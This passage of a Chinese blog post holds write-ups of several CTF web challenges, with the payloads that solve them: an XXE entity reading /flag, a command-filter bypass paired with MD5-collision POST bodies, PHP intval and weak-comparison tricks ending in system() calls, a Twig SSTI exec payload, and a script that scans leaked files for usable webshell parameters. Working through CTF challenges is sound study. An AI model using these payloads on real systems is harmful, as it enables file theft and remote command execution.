$$y=xxx(flag的内容,此时的$$y就是$flag);
$$z=xxx

所以直接GET传$yds=flag在这里插入图片描述
同理,其他不再讲,这里给出payload

$handsome: GET传 handsome=flag&flag=handsome
$is: GET 传 is=flag&flag=flag
在这里插入图片描述

[NCTF2019]Fake XML cookbook

在这里插入图片描述
登录框,输入参数抓包在这里插入图片描述
疑似存在XXE,加一个引用字符看下
在这里插入图片描述
确实存在,接下来尝试读取flag文件

<!DOCTYPE user [
<!ENTITY quan9i SYSTEM "file:///flag"> 
]> 
<user>
<username>
&quan9i;
</username>
<password>
1
</password>
</user>
在这里插入图片描述

[安洵杯 2019]easy_web

进入环境,发现参数

img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd[]=1

简单分析过后发现是二次base64编码+一次16进制编码,因此我们这里修改内容为index.php,先进行16进制编码,再进行两次base64编码,即

index.php
696e6465782e706870
Njk2ZTY0NjU3ODJlNzA2ODcw
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

此时赋值给img,然后看到src的参数,base64解码后得源码,源码为

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

重点看后半段,两个条件,一是绕过过滤,另一个是满足md5强碰撞,对于绕过过滤,我们这里直接用\来绕过,因为l\s=ls,然后第二个强碰撞的话,这里需要介绍一个工具
http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
他可以得到两个相同的md5数值且数字略有不同,具体可以看这篇文章
https://xz.aliyun.com/t/2232
我们这里下载好之后在该处启动cmd,同时写入一个源文件(我这里命名为yuan.txt),内容为1即可在这里插入图片描述
而后在cmd中写入指令

ll_v1.0.0.5.exe -p yuan.txt -o 1.txt 2.txt

在这里插入图片描述
而后因为1.txt和2.txt有不可见字符,用的话需要编码一下,同时我们这里可以验证一下是否相等,PHP脚本如下

<?php 
function  readmyfile($path){
    $fh = fopen($path, "rb");
    $data = fread($fh, filesize($path));
    fclose($fh);
    return $data;
}
echo '二进制md5加密 '. md5( (readmyfile("1.txt")));
echo "</br>";
echo  'url编码 '. urlencode(readmyfile("1.txt"));
echo "</br>";
echo '二进制md5加密 '.md5( (readmyfile("2.txt")));
echo "</br>";
echo  'url编码 '.  urlencode(readmyfile("2.txt"));
echo "</br>";

在这里插入图片描述
可以看到确实相等,接下来直接拿URL编码去打就好了

POST /index.php?img=&cmd=l\s+/  HTTP/1.1
Host: dcbc2c02-e628-44ad-91ae-f15180cdcec1.node4.buuoj.cn:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1035

a=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00r%A9uy%E8j%60gq%3B%E5F%B6P%BC%D4%04%3E%EA%0C%C6%C8%CE%EC%1A%D66%5D%09%1E%28%B6%C6%A3%FF%CB%F2%CD%0C%3CO+%3E%14%2B%92%9C%8D%29%B5i%B8%8F%1DU%E2%27K%DCzX%0B%EF%CF%B2%C6%F0q%DB%7B%8F%DD%C3%191%C4%0F%E3%94j%91a%AC%9AhZ%F3%F7%09%C5%10g%87_%88%E6%D3%F5%3AH%97%02%AF%13%B5%02P%3C%7B%04%F3MV%A3%3E%CE%F7K%FD%1E%28wC%8D%F3%CF%07%86
&b=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00r%A9uy%E8j%60gq%3B%E5F%B6P%BC%D4%04%3E%EA%8C%C6%C8%CE%EC%1A%D66%5D%09%1E%28%B6%C6%A3%FF%CB%F2%CD%0C%3CO+%3E%14%2B%12%9D%8D%29%B5i%B8%8F%1DU%E2%27K%DC%FAX%0B%EF%CF%B2%C6%F0q%DB%7B%8F%DD%C3%191%C4%0F%E3%94j%91a%AC%1AhZ%F3%F7%09%C5%10g%87_%88%E6%D3%F5%3AH%97%02%AF%13%B5%02P%3C%7B%84%F2MV%A3%3E%CE%F7K%FD%1E%28wC%0D%F3%CF%07%86
在这里插入图片描述
在这里插入图片描述

[WUSTCTF2020]朴实无华

在这里插入图片描述
进入靶场后一无所获,使用扫描器扫描后发现robots.txt
在这里插入图片描述
访问这个文件在这里插入图片描述
内容没什么东西,但发现新文件,访问后得源码

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

三层防护,看第一个

intval($num) < 2020 && intval($num + 1) > 2021

一眼丁真,用科学技术法绕过,PHP中当用到intval函数时,会把1e100这种视为1,所以我们这里用1e10即可绕过,因为1e10
对于PHP5来说,就是1,而当在里面先进行计算时,就会变成正常的情况,即1*10^10,所以可以实现绕过
在这里插入图片描述
第二个,$md5==md5($md5),要求数值在进行md5加密后与本值相同,但这里是弱比较==,所以我们这里可以让他都为0exxx(后面都是数字),此时可以达到绕过,满足此条件的数值

0e2159620
0e215962017

在这里插入图片描述
接下来看第三个,过滤了空格和cat,空格可以用%09cat可以用ca\t,最终payload

/fl4g.php?num=100e2&md5=0e215962017&get_flag=ca\t%09*
在这里插入图片描述

[BJDCTF2020]Cookie is so stable

打开界面点击flag
在这里插入图片描述
看起来有点像SSTI,输入一下在这里插入图片描述
PHP建站,大概率是Swig模板引擎,构造payload如下

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

但这里我不知道为啥在界面上输入显示在这里插入图片描述
然后我用的bp发包可以,这里需要注意一下,就是SSTI的点是在cookie处的,这点与题目正好对应在这里插入图片描述

[强网杯 2019]高明的黑客

题目描述了www.tar.gz文件泄露,访问后下载文件,
在这里插入图片描述
发现都是很乱的文件内容,很多都有参数,都有shell,但不知道哪个可执行。所以用脚本分辨

import os
import requests
import re
import threading
import time

print('开始时间:  ' + time.asctime(time.localtime(time.time())))
s1 = threading.Semaphore(100)  # 这儿设置最大的线程数
filePath = r"E:/Bnessy/Desktop/src/"
os.chdir(filePath)  # 改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5  # 设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False  # 设置连接活跃状态为False


def get_content(file):
    s1.acquire()
    print('trying   ' + file + '     ' + time.asctime(time.localtime(time.time())))
    with open(file, encoding='utf-8') as f:  # 打开php文件,提取所有的$_GET和$_POST的参数
        gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
        posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}  # 所有的$_POST
    params = {}  # 所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://localhost/src/' + file
    req = session.post(url, data=data, params=params)  # 一次性请求所有的GET和POST
    req.close()  # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    # print(content)
    if "xxxxxx" in content:  # 如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url + '?%s=' % a + "echo 'xxxxxx';")
            content = req.text
            req.close()  # 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b: "echo 'xxxxxx';"})
                content = req.text
                req.close()  # 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:  # flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: ' + file + "  and 找到了利用的参数:%s" % param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()


for i in files:  # 加入多线程
    t = threading.Thread(target=get_content, args=(i,))
    t.start()

这里大致的意思就是遍历全部的参数,然后给他们赋值为输出xxx,当有输出xxx的时候,就说明这个参数可用,然后就找到了可利用的shell,最终payload

/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
在这里插入图片描述
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇
 
...